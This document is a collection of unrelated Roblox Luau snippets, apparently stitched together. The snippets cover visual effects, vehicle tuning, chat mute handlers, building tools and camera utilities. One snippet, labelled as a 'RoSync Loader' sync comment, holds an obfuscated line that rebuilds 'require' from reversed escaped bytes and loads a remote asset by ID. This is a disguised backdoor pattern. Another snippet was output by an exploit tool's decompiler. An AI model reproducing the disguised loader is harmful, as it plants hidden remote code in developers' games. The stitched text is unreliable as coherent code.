local distance = (p0 - p2).Magnitude
local speed = 40
local poolSize = Random.new():NextNumber(2, 4)
mochiPart.Parent = debrisFolder
local Tween = bezierTween.Create(mochiPart, {
Waypoints = Waypoints.new(p0, p1, p2),
EasingStyle = Enum.EasingStyle.Linear,
EasingDirection = Enum.EasingDirection.In,
Time = distance/speed
})
Tween:Play()
TS:Create(mochiPart, TweenInfo.new(distance/speed, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Color = Color3.fromRGB(255, 246, 208)}):Play()
Tween.Completed:Connect(function()
mochiPart.CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0)
TS:Create(mochiPart, TweenInfo.new(.18, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(poolSize * 2, 0.5, poolSize * 2)}):Play()
task.delay(5, function()
TS:Create(mochiPart, TweenInfo.new(.6, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(0,0,0)}):Play()
--game.Debris:AddItem(mochiPart, .7)
task.delay(.7, function()
partCache:ReturnPart(mochiPart)
end)
end)
end)
else
partCache:ReturnPart(mochiPart)
end
end
end
return function(HitboxPos, Character)
local HRP = Character.HumanoidRootPart
local mochiSize = Random.new():NextNumber(1, 2)
local mochiPart = partCache:GetPart()
mochiPart.Size = Vector3.new(mochiSize, mochiSize, mochiSize)
local ray = Ray.new(HitboxPos + Vector3.new(0, 1, 0), Vector3.new(0, -50, 0))
local hit, vec2Pos, surfaceNormal = workspace:FindPartOnRayWithIgnoreList(ray, {mochiPart, debrisFolder, Character})
local angle = math.rad(math.random(360))
if hit then
local endCF = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) * CFrame.Angles(0, angle, 0)
local p0 = HRP.Position
local p2 = endCF.Position
local p1 = CFrame.new((p0 + p2) / 2) * CFrame.new(0, Random.new():NextNumber(25, 45), 0).Position
local distance = (p0 - p2).Magnitude
local speed = 100
local poolSize = Random.new():NextNumber(8, 14)
mochiPart.Parent = debrisFolder
local Tween = bezierTween.Create(mochiPart, {
Waypoints = Waypoints.new(p0, p1, p2),
EasingStyle = Enum.EasingStyle.Linear,
EasingDirection = Enum.EasingDirection.In,
Time = distance/speed
})
Tween:Play()
TS:Create(mochiPart, TweenInfo.new(distance/speed, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Color = Color3.fromRGB(255, 246, 208)}):Play()
Tween.Completed:Connect(function()
mochiPart.CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) * CFrame.Angles(0, angle, 0)
--mochiPart.Transparency = 1
local mochiFloor = RS.FX.Mochi.C.MochiCFloor:Clone()
mochiFloor.Size = Vector3.new(0, 1, 0)
mochiFloor.CFrame = mochiPart.CFrame
partCache:ReturnPart(mochiPart)
mochiFloor.Parent = debrisFolder
TS:Create(mochiFloor, TweenInfo.new(.18, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(poolSize * 2, 1.5, poolSize * 2)}):Play()
local spikes = {
RS.FX.Mochi.C.Spike1,
RS.FX.Mochi.C.Spike2,
RS.FX.Mochi.C.Spike3,
}
local mochiSpike = spikes[math.random(1, #spikes)]:Clone()
mochiSpike.CFrame = mochiFloor.CFrame
task.delay(0.7, function()
mochiSpike.Size = Vector3.new(mochiFloor.Size.X * 0.45, 0.01, mochiFloor.Size.Z * 0.5)
mochiSpike.Parent = debrisFolder
local spikeHeight = Random.new():NextNumber(20, 35)
--print(spikeHeight)
TS:Create(mochiSpike, TweenInfo.new(0.17, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = Vector3.new(mochiSpike.Size.X, spikeHeight, mochiSpike.Size.Z), CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) * CFrame.new(0, spikeHeight/2 - 2, 0) * CFrame.Angles(0, angle, 0)}):Play()
mochiExplosion(mochiSpike.Position, mochiSpike)
for i, v in pairs(mochiFloor.ExpFX:GetChildren()) do
v:Emit(v:GetAttribute("EmitCount"))
end
task.delay(1, function()
--warn(mochiSpike.Size)
TS:Create(mochiSpike, TweenInfo.new(5, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = mochiSpike.Size * 0.98, CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) * CFrame.new(0, (mochiSpike.Size.Y * 0.98)/2 - 3, 0)}):Play()
task.delay(3, function()
TS:Create(mochiSpike, TweenInfo.new(0.45, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(poolSize * 2, 0.3, poolSize * 2), CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0)}):Play()
task.delay(0.45, function()
TS:Create(mochiSpike, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new()}):Play()
game.Debris:AddItem(mochiSpike, 0.6)
end)
end)
end)
end)
task.delay(6, function()
TS:Create(mochiFloor, TweenInfo.new(.6, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(0,0,0)}):Play()
game.Debris:AddItem(mochiFloor, .7)
end)
end)
end
end
|
------------------------------------------------------------------
|
local EngineOn = false
local Selected = false
local LockedCam = false
local LowestPoint = 0
local DesiredSpeed = 0
local CurrentSpeed = 0
local TrueAirSpeed = 0
local Throttle = 0
|
-- Shell physical properties
|
EjectionForce.PhysProperties = PhysicalProperties.new(
10, -- Density
30, -- Friction
0.1, -- Elasticity
10, -- FrictionWeight
1 -- ElasticityWeight
)
|
--// Character
|
local Character = Player.Character or Player.CharacterAdded:Wait()
local CharHMR = Character:WaitForChild("HumanoidRootPart")
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 500 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--// Hash: e76ab6b5f74107b63444061a151808bff4d388a0efb1db95152961f726781a340b57a270e4c2f5dcf6522a615db73c1b
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {
data = {},
event = {}
};
local v2 = { "Knobs", "Revives", "Boosts", "Statistics", "Achievements" };
for v3, v4 in pairs(v2) do
local v5 = Instance.new("BindableEvent");
v5.Name = v4 .. "Updated";
v5.Parent = script;
v1.event[v4] = v5;
end;
v6 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaController"));
local l__LocalPlayer__7 = game:GetService("Players").LocalPlayer;
v6.RequestData();
v6.ReplicaOfClassCreated("PlayerProfile", function(p1)
local v8 = p1.Tags.Player == l__LocalPlayer__7;
if not v8 then
local v9 = p1.Tags.Player.Name .. "'s";
end;
local l__Data__10 = p1.Data;
v1.data = l__Data__10;
if v8 then
for v11, v12 in pairs(v2) do
p1:ListenToChange({ v12 }, function(p2)
v1.event[v12]:Fire(l__Data__10[v12]);
end);
v1.event[v12]:Fire(l__Data__10[v12]);
end;
end;
end);
local v13 = tick();
while true do
wait();
if v6.InitialDataReceived then
break;
end;
end;
local v14 = tick();
return v1;
|
-- I recommend you leave this true because players could appear
-- to be noclipping even if they're not exploiting. For example,
-- from hopping around while inside a moving boat.
|
config.AllowNoclippingThroughPhysicsObjects = true
|
-- / Remote Events / --
|
local ToolEvent = Tool:WaitForChild("ToolEvent")
|
-- This is pcalled because the SetCore methods may not be released yet.
|
pcall(function()
PlayerBlockedEvent = StarterGui:GetCore("PlayerBlockedEvent")
PlayerMutedEvent = StarterGui:GetCore("PlayerMutedEvent")
PlayerUnBlockedEvent = StarterGui:GetCore("PlayerUnblockedEvent")
PlayerUnMutedEvent = StarterGui:GetCore("PlayerUnmutedEvent")
end)
function SendSystemMessageToSelf(message)
local currentChannel = ChatWindow:GetCurrentChannel()
if currentChannel then
local messageData =
{
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = currentChannel.Name,
IsFiltered = true,
MessageLength = string.len(message),
MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)),
Message = trimTrailingSpaces(message),
MessageType = ChatConstants.MessageTypeSystem,
Time = os.time(),
ExtraData = nil,
}
currentChannel:AddMessageToChannel(messageData)
end
end
function MutePlayer(player)
local mutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("MutePlayerRequest")
if mutePlayerRequest then
return mutePlayerRequest:InvokeServer(player.Name)
end
return false
end
if PlayerBlockedEvent then
PlayerBlockedEvent.Event:connect(function(player)
if MutePlayer(player) then
local playerName
if ChatSettings.PlayerDisplayNamesEnabled then
playerName = player.DisplayName
else
playerName = player.Name
end
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenBlocked",
string.format("Speaker '%s' has been blocked.", playerName)
),
"{RBX_NAME}", playerName
)
)
end
end)
end
if PlayerMutedEvent then
PlayerMutedEvent.Event:connect(function(player)
if MutePlayer(player) then
local playerName
if ChatSettings.PlayerDisplayNamesEnabled then
playerName = player.DisplayName
else
playerName = player.Name
end
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenMuted",
string.format("Speaker '%s' has been muted.", playerName)
),
"{RBX_NAME}", playerName
)
)
end
end)
end
function UnmutePlayer(player)
local unmutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("UnMutePlayerRequest")
if unmutePlayerRequest then
return unmutePlayerRequest:InvokeServer(player.Name)
end
return false
end
if PlayerUnBlockedEvent then
PlayerUnBlockedEvent.Event:connect(function(player)
if UnmutePlayer(player) then
local playerName
if ChatSettings.PlayerDisplayNamesEnabled then
playerName = player.DisplayName
else
playerName = player.Name
end
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenUnBlocked",
string.format("Speaker '%s' has been unblocked.", playerName)
),
"{RBX_NAME}", playerName
)
)
end
end)
end
if PlayerUnMutedEvent then
PlayerUnMutedEvent.Event:connect(function(player)
if UnmutePlayer(player) then
local playerName
if ChatSettings.PlayerDisplayNamesEnabled then
playerName = player.DisplayName
else
playerName = player.Name
end
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenUnMuted",
string.format("Speaker '%s' has been unmuted.", playerName)
),
"{RBX_NAME}", playerName
)
)
end
end)
end
|
--------SETTINGS--------
|
local ITEM_NAME = "Sniper"
local ITEM_PRICE = 10
local CURRENCY_NAME = "Cash"
|
--------------------------------------------------
|
script.Parent.Values.RPM.Changed:connect(function()
intach.Rotation = -80 + script.Parent.Values.RPM.Value * 240 / 8000
end)
script.Parent.Values.Velocity.Changed:connect(function(property)
inspd.Rotation = -30 + (440 / 160) * (math.abs(script.Parent.Values.Velocity.Value.Magnitude*((6/12) * (50/88))))
end)
if _Tune.Aspiration ~= "Natural" then
if _Tune.Aspiration == "Single" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
script.Parent.Values.Boost.Changed:connect(function()
local boost = (math.floor(script.Parent.Values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5)
inbst.Rotation = -30 + 61 * math.min(1,(script.Parent.Values.Boost.Value/(_Tune.Boost)/_TCount))
end)
end
|
--[[ By: Brutez. ]]
|
--
local CameraRotateScript=script;
local Camera=CameraRotateScript.Parent;
while true do
for RotateRight=1,100 do
Camera.CFrame=Camera.CFrame*CFrame.fromEulerAnglesXYZ(0,math.rad(-0.5),0)
wait(0)
end
wait(2)
for RotateLeft=1,100 do
Camera.CFrame=Camera.CFrame*CFrame.fromEulerAnglesXYZ(0,math.rad(0.5),0)
wait(0)
end
wait(2)
end
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -1.7
Tune.RCamber = -1.2
Tune.FToe = 0
Tune.RToe = 0
|
--if SignalValues.Signal1.Value == 1 then
-- SignalValues.Signal1.Value = 2
--end
--if SignalValues.Signal1a.Value == 1 then
-- SignalValues.Signal1a.Value = 2
--end
--if SignalValues.Signal2.Value == 1 then
-- SignalValues.Signal2.Value = 2
--end
--if SignalValues.Signal2a.Value == 1 then
-- SignalValues.Signal2a.Value = 2
--end
--if TurnValues.TurnSignal1.Value == 1 then
-- TurnValues.TurnSignal1.Value = 2
--end
--if TurnValues.TurnSignal1a.Value == 1 then
-- TurnValues.TurnSignal1a.Value = 2
--end
--if TurnValues.TurnSignal2.Value == 1 then
-- TurnValues.TurnSignal2.Value = 2
--end
--if TurnValues.TurnSignal2a.Value == 1 then
-- TurnValues.TurnSignal2a.Value = 2
--end
--if PedValues.PedSignal1.Value == 1 then
-- PedValues.PedSignal1.Value = 2
--end
--if PedValues.PedSignal1a.Value == 1 then
-- PedValues.PedSignal1a.Value = 2
--end
--if PedValues.PedSignal2.Value == 1 then
-- PedValues.PedSignal2.Value = 2
--end
--if PedValues.PedSignal2a.Value == 1 then
-- PedValues.PedSignal2a.Value = 2
--end
| |
--script.Parent.ScreenGui.Parent = game.ServerStorage
|
script.Parent.Equipped:Connect(function(Hit)
script.Parent.Hand.Equip:Play()
if script.Parent.Configuration.HasAbility.Value == true then
script.Parent.AbilityServer.Disabled = false
script.Parent.Ability.Disabled = false
player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
Mobile = script.Parent.MobileGui:Clone()
Mobile.Parent = player.PlayerGui
end
end)
script.Parent.Unequipped:Connect(function(Hit2)
script.Parent.Hand.Equip:Stop()
if script.Parent.Configuration.HasAbility.Value == true then
script.Parent.AbilityServer.Disabled = true
script.Parent.Ability.Disabled = true
Mobile:Destroy()
end
end)
|
-- Initialize the tool
|
local RotateTool = {
Name = 'Rotate Tool';
Color = BrickColor.new 'Bright green';
-- Default options
Increment = 15;
Pivot = 'Center';
}
RotateTool.ManualText = [[<font face="GothamBlack" size="16">Rotate Tool 🛠</font>
Allows you to rotate parts.<font size="12"><br /></font>
<font size="12" color="rgb(150, 150, 150)"><b>Pivot</b></font>
This option lets you choose what to rotate the parts around.<font size="6"><br /></font>
<font color="rgb(150, 150, 150)">•</font> <b>CENTER</b> <font color="rgb(150, 150, 150)">—</font> Relative to the <b>center of the selection</b>
<font color="rgb(150, 150, 150)">•</font> <b>LOCAL</b> <font color="rgb(150, 150, 150)">—</font> Each part around its <b>own center</b>
<font color="rgb(150, 150, 150)">•</font> <b>LAST</b> <font color="rgb(150, 150, 150)">—</font> Relative to the <b>center of the last part clicked</b><font size="6"><br /></font>
<b>TIP:</b> Click on any part to focus the handles on it.<font size="6"><br /></font>
<b>TIP: </b>Hit the <b>Enter</b> key to switch between Pivot modes quickly.<font size="12"><br /></font>
<font size="12" color="rgb(150, 150, 150)"><b>Increment</b></font>
Lets you choose how many degrees to rotate by.<font size="6"><br /></font>
<b>TIP: </b>Hit the – key to quickly type increments.<font size="6"><br /></font>
<b>TIP: </b>Use your number pad to rotate exactly by the current increment. Holding <b>Shift</b> reverses the increment.<font size="4"><br /></font>
<font color="rgb(150, 150, 150)">•</font> 4 & 6 — Y axis (green)
<font color="rgb(150, 150, 150)">•</font> 1 & 9 — Z axis (blue)
<font color="rgb(150, 150, 150)">•</font> 2 & 8 — X axis (red)<font size="12"><br /></font>
<font size="12" color="rgb(150, 150, 150)"><b>Snapping</b></font>
Press <b><i>R</i></b> and click on a part's <b>snap point</b> to rotate around it.
]]
|
-- I hope this helps you in your Roblox game developing journey! You can delete all these comments EXCEPT the first and second one at the top.
| |
-- VisualComponents by Travis, modified for native visuals.
|
local Functions = require(script.Parent.Functions)
Functions.Start(game.Workspace.VisualComponents)
|
-- setup emote chat hook
|
game.Players.LocalPlayer.Chatted:connect(function(msg)
local emote = ""
if msg == "/e dance" then
emote = dances[math.random(1, #dances)]
elseif (string.sub(msg, 1, 3) == "/e ") then
emote = string.sub(msg, 4)
elseif (string.sub(msg, 1, 7) == "/emote ") then
emote = string.sub(msg, 8)
end
if (pose == "Standing" and emoteNames[emote] ~= nil) then
playAnimation(emote, 0.1, Humanoid)
end
end)
|
--[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]]
--[[ export const serialize: NewPlugin['serialize'] ]]
|
local function serialize(
element: any,
config: Config,
indentation: string,
depth: number,
refs: Refs,
printer: Printer
): string
depth += 1
return if depth > config.maxDepth
then printElementAsLeaf(getType(element), config)
else printElement(
getType(element),
printProps(getPropKeys(element), element.props, config, indentation .. config.indent, depth, refs, printer),
printChildren(
getChildren(element.props.children),
config,
indentation .. config.indent,
depth,
refs,
printer
),
config,
indentation
)
end
exports.serialize = serialize
|
--[[ Last synced 4/6/2021 11:59 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Error handler
|
function red.error(err)
print(err)
end
red.remotes = RunService:IsClient() and
ReplicatedStorage:WaitForChild(Constants.remoteFolderName) or
ReplicatedStorage:FindFirstChild(Constants.remoteFolderName)
if not red.remotes then
-- Container for remotes
red.remotes = Instance.new('Folder')
red.remotes.Name = Constants.remoteFolderName
-- store:dispatch() calls from client to server and server to client
local client = Instance.new('RemoteEvent')
client.Name = 'Client'
client.Parent = red.remotes
-- store:dispatch() calls from server to server
local server = Instance.new('BindableEvent')
server.Name = 'Server'
server.Parent = red.remotes
red.remotes.Parent = ReplicatedStorage
end
return Util.extend(red, {
Server = require(script.Server),
State = require(script.State),
Store = require(script.Store)
})
|
--This is the server sided module for handling this vehicles seating requests
|
local Players = game:GetService("Players")
local Workspace = game:GetService("Workspace")
local HttpService = game:GetService("HttpService")
local CollectionService = game:GetService("CollectionService")
local DOOR_OPEN_SPEED = 2.15
local DOOR_OPEN_ANGLE = 55
local DOOR_OPEN_TIME = 0.5 --How long the door stays open for when entering/leaving
local MAX_SEATING_DISTANCE = 15
local RemotesFolder = nil --Set later in the code by the SetRemotesFolder function
local SeatTag = "Seat_" ..HttpService:GenerateGUID()
|
-- Start adding functionality to the tool
|
Tools.NewPart.Listeners.Equipped = function ()
local self = Tools.NewPart;
-- Change the color of selection boxes temporarily
self.State.PreviousSelectionBoxColor = SelectionBoxColor;
SelectionBoxColor = self.Color;
updateSelectionBoxColor();
-- Reveal the GUI
self:showGUI();
-- Restore the type option
self:changeType( self.Options.type );
end;
Tools.NewPart.Listeners.Unequipped = function ()
local self = Tools.NewPart;
-- Hide the GUI
self:hideGUI();
-- Disconnect temporary connections
for connection_index, Connection in pairs( self.Connections ) do
Connection:disconnect();
self.Connections[connection_index] = nil;
end;
-- Restore the original color of selection boxes
SelectionBoxColor = self.State.PreviousSelectionBoxColor;
updateSelectionBoxColor();
end;
Tools.NewPart.Listeners.Button1Down = function ()
local self = Tools.NewPart;
local NewPart;
-- Create the new part of type `self.Options.type`
if self.Options.type == "normal" then
NewPart = Instance.new( "Part", Services.Workspace );
NewPart.FormFactor = "Custom";
NewPart.Size = Vector3.new( 4, 1, 2 );
elseif self.Options.type == "truss" then
NewPart = Instance.new( "TrussPart", Services.Workspace );
elseif self.Options.type == "wedge" then
NewPart = Instance.new( "WedgePart", Services.Workspace );
elseif self.Options.type == "corner" then
NewPart = Instance.new( "CornerWedgePart", Services.Workspace );
elseif self.Options.type == "cylinder" then
NewPart = Instance.new( "Part", Services.Workspace );
NewPart.Shape = "Cylinder";
elseif self.Options.type == "ball" then
NewPart = Instance.new( "Part", Services.Workspace );
NewPart.Shape = "Ball";
elseif self.Options.type == "seat" then
NewPart = Instance.new( "Seat", Services.Workspace );
elseif self.Options.type == "vehicle seat" then
NewPart = Instance.new( "VehicleSeat", Services.Workspace );
elseif self.Options.type == "spawn" then
NewPart = Instance.new( "SpawnLocation", Services.Workspace );
end;
NewPart.Anchored = true;
-- Select the new part
Selection:clear();
Selection:add( NewPart );
local HistoryRecord = {
target = NewPart;
apply = function ( self )
Selection:clear();
if self.target then
self.target.Parent = Services.Workspace;
Selection:add( self.target );
end;
end;
unapply = function ( self )
if self.target then
self.target.Parent = nil;
end;
end;
};
History:add( HistoryRecord );
-- Switch to the move tool and simulate clicking so
-- that the user could easily position their new part
equipTool( Tools.Move );
Tools.Move.ManualTarget = NewPart;
NewPart.CFrame = CFrame.new( Mouse.Hit.p );
Tools.Move.Listeners.Button1Down();
Tools.Move.Listeners.Move();
end;
Tools.NewPart.changeType = function ( self, new_type )
self.Options.type = new_type;
self.TypeDropdown:selectOption( new_type:upper() );
if self.TypeDropdown.open then
self.TypeDropdown:toggle();
end;
end;
Tools.NewPart.showGUI = function ( self )
-- Initialize the GUI if it's not ready yet
if not self.GUI then
local Container = Tool.Interfaces.BTNewPartToolGUI:Clone();
Container.Parent = UI;
local TypeDropdown = createDropdown();
self.TypeDropdown = TypeDropdown;
TypeDropdown.Frame.Parent = Container.TypeOption;
TypeDropdown.Frame.Position = UDim2.new( 0, 70, 0, 0 );
TypeDropdown.Frame.Size = UDim2.new( 0, 140, 0, 25 );
TypeDropdown:addOption( "NORMAL" ).MouseButton1Up:connect( function ()
self:changeType( "normal" );
end );
TypeDropdown:addOption( "TRUSS" ).MouseButton1Up:connect( function ()
self:changeType( "truss" );
end );
TypeDropdown:addOption( "WEDGE" ).MouseButton1Up:connect( function ()
self:changeType( "wedge" );
end );
TypeDropdown:addOption( "CORNER" ).MouseButton1Up:connect( function ()
self:changeType( "corner" );
end );
TypeDropdown:addOption( "CYLINDER" ).MouseButton1Up:connect( function ()
self:changeType( "cylinder" );
end );
TypeDropdown:addOption( "BALL" ).MouseButton1Up:connect( function ()
self:changeType( "ball" );
end );
TypeDropdown:addOption( "SEAT" ).MouseButton1Up:connect( function ()
self:changeType( "seat" );
end );
TypeDropdown:addOption( "VEHICLE SEAT" ).MouseButton1Up:connect( function ()
self:changeType( "vehicle seat" );
end );
TypeDropdown:addOption( "SPAWN" ).MouseButton1Up:connect( function ()
self:changeType( "spawn" );
end );
self.GUI = Container;
end;
-- Reveal the GUI
self.GUI.Visible = true;
end;
Tools.NewPart.hideGUI = function ( self )
-- Hide the GUI if it exists already
if self.GUI then
self.GUI.Visible = false;
end;
end;
Tools.NewPart.Loaded = true;
|
--TheNexusAvenger
--Runs the rocket projectile.
|
local Configuration = require(script:WaitForChild("Configuration"))
local FORCE_GRANULARITY = Configuration.FORCE_GRANULARITY
local BLAST_RADIUS = Configuration.BLAST_RADIUS
local BLAST_PRESSURE = Configuration.BLAST_PRESSURE * FORCE_GRANULARITY
local ROCKET_DECAY_TIME = Configuration.ROCKET_DECAY_TIME
local MAX_DAMAGE = Configuration.MAX_DAMAGE
local MIN_DAMAGE = Configuration.MIN_DAMAGE
local IGNORE_LIST = Configuration.IGNORE_LIST
local Rocket = script.Parent
local SwooshSound = Rocket:WaitForChild("SwooshSound")
local Debris = game:GetService("Debris")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ExplodeEvent = Instance.new("RemoteEvent")
ExplodeEvent.Name = "Explode"
ExplodeEvent.Parent = Rocket
local PlayerDamager = require(script:WaitForChild("PlayerDamager"))
local FiredByValue = Rocket:WaitForChild("FiredBy",10^99)
while FiredByValue.Value == nil do FiredByValue.Changed:Wait() end
local FiredPlayer = FiredByValue.Value
local FiredCharacter = FiredPlayer.Character
local Exploded = false
SwooshSound:Play()
Debris:AddItem(Rocket,ROCKET_DECAY_TIME)
for Key,Value in pairs(IGNORE_LIST) do
if type(Key) == "string" then
IGNORE_LIST[string.lower(Key)] = Value
end
end
|
--[[Utilities.tweenFoV = function(FOV,step)
coroutine.resume(coroutine.create(function()
local fv0 = cam.FieldOfView
for i = 0,90,step do
local r = ((math.sin(math.rad(i))+1)/2)
cam.FieldOfView = (Vector3.new(fv0,0,0):Lerp(Vector3.new(FOV,0,0),r).X)
rs:wait()
end
end))
end]]
|
--
Utilities.tweenFoV = function(goal, frames)
if not _G.tweeningFov then
coroutine.resume(coroutine.create(function()
SFn = SFn and SFn + 1 or 0
local SFn_S = SFn
for i = 1, frames do
if SFn ~= SFn_S then break end
cam.FieldOfView = cam.FieldOfView + (goal - cam.FieldOfView) * (i / frames)
game:GetService("RunService").RenderStepped:wait()
--_G.tweeningFov = true
end
--_G.tweeningFov = false
end))
end
end
Utilities.tweenRoll = function(Roll,step)
coroutine.resume(coroutine.create(function()
local r0 = cam:GetRoll()
for i = -90,90,step do
local r = ((math.sin(math.rad(i))+1)/2)
cam:SetRoll(Vector3.new(r0,0,0):Lerp(Vector3.new(Roll,0,0),r).X)
rs:wait()
end
end))
end
Utilities.Fade = function(target, goal, frames, IsGui)
coroutine.resume(coroutine.create(function()
for i = 1, frames do
if IsGui == true then
target.TextTransparency = target.TextTransparency + (goal - target.TextTransparency) * (i / frames)
rs:wait()
elseif IsGui == false then
target.Size = target.Size + (goal - target.Size) * (i / frames)
rs:wait()
end
end
end))
end
Utilities.FixCam = function()
cam.CameraSubject = player.Character.Humanoid
cam.CameraType = "Custom"
player.Character.Humanoid.WalkSpeed = 16
end
Utilities.SpawnCam = function(Target)
cam.CameraType = "Attach"
cam.CameraSubject = Target
wait(.05)
cam.CoordinateFrame = Target.CFrame
cam.CameraType = "Scriptable"
player.Character.Humanoid.WalkSpeed = 0
end
Utilities.tweenCam = function(CO, t)
coroutine.resume(coroutine.create(function()
COn = COn and COn + 1 or 0 local COn_S = COn
for i = 1, t do
if COn ~= COn_S then break end
char.Humanoid.CameraOffset = char.Humanoid.CameraOffset + (CO - char.Humanoid.CameraOffset) * (i / t)
rs:wait()
end
end))
end
Utilities.TweenJoint = function(Joint, newC0, newC1, Alpha, Duration)
spawn(function()
local newCode = math.random(-1e9, 1e9) --This creates a random code between -1000000000 and 1000000000
local tweenIndicator = nil
if (not Joint:findFirstChild("tweenCode")) then --If the joint isn't being tweened, then
tweenIndicator = Instance.new("IntValue")
tweenIndicator.Name = "tweenCode"
tweenIndicator.Value = newCode
tweenIndicator.Parent = Joint
else
tweenIndicator = Joint.tweenCode
tweenIndicator.Value = newCode --If the joint is already being tweened, this will change the code, and the tween loop will stop
end
if Duration <= 0 then --If the duration is less than or equal to 0 then there's no need for a tweening loop
if newC0 then Joint.C0 = newC0 end
if newC1 then Joint.C1 = newC1 end
else
local Increment = 1.5 / Duration --Calculate the increment here so it doesn't need to be calculated in the loop
local startC0 = Joint.C0
local startC1 = Joint.C1
local X = 0
while true do
rs:wait() --This makes the for loop step every 1/60th of a second
local newX = X + Increment
X = (newX > 90 and 90 or newX) --Makes sure the X never goes above 90
if tweenIndicator.Value ~= newCode then break end --This makes sure that another tween wasn't called on the same joint
if newC0 then Joint.C0 = startC0:lerp(newC0, Alpha(X)) end
if newC1 then Joint.C1 = startC1:lerp(newC1, Alpha(X)) end
if X == 90 then break end --If the tweening is done...
end
end
if tweenIndicator.Value == newCode then --If this tween functions was the last one called on a joint then it will remove the code
tweenIndicator:Destroy()
end
end)
end
Utilities.Weld = function(p1, p2, c0)
local w = Instance.new("Motor6D", p1)
w.Part0 = p1
w.Part1 = p2
w.Name = p1.Name
w.C0 = c0 or p1.CFrame:inverse() * p2.CFrame
end
return Utilities
|
--[[ Local Functions ]]
|
--
function MouseLockController:OnMouseLockToggled()
self.isMouseLocked = not self.isMouseLocked
if self.isMouseLocked then
local cursorImageValueObj: StringValue = script:FindFirstChild("CursorImage") :: StringValue
if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then
self.savedMouseCursor = Mouse.Icon
Mouse.Icon = cursorImageValueObj.Value
else
if cursorImageValueObj then
cursorImageValueObj:Destroy()
end
cursorImageValueObj = Instance.new("StringValue")
cursorImageValueObj.Name = "CursorImage"
cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR
cursorImageValueObj.Parent = script
self.savedMouseCursor = Mouse.Icon
Mouse.Icon = DEFAULT_MOUSE_LOCK_CURSOR
end
else
if self.savedMouseCursor then
Mouse.Icon = self.savedMouseCursor
self.savedMouseCursor = nil
end
end
self.mouseLockToggledEvent:Fire()
end
function MouseLockController:DoMouseLockSwitch(name, state, input)
if state == Enum.UserInputState.Begin then
self:OnMouseLockToggled()
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function MouseLockController:BindContextActions()
ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input)
return self:DoMouseLockSwitch(name, state, input)
end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))
end
function MouseLockController:UnbindContextActions()
ContextActionService:UnbindAction(CONTEXT_ACTION_NAME)
end
function MouseLockController:IsMouseLocked(): boolean
return self.enabled and self.isMouseLocked
end
function MouseLockController:EnableMouseLock(enable: boolean)
if enable ~= self.enabled then
self.enabled = enable
if self.enabled then
-- Enabling the mode
self:BindContextActions()
else
-- Disabling
-- Restore mouse cursor
if Mouse.Icon~="" then
Mouse.Icon = ""
end
self:UnbindContextActions()
-- If the mode is disabled while being used, fire the event to toggle it off
if self.isMouseLocked then
self.mouseLockToggledEvent:Fire()
end
self.isMouseLocked = false
end
end
end
return MouseLockController
|
-- ANimation
|
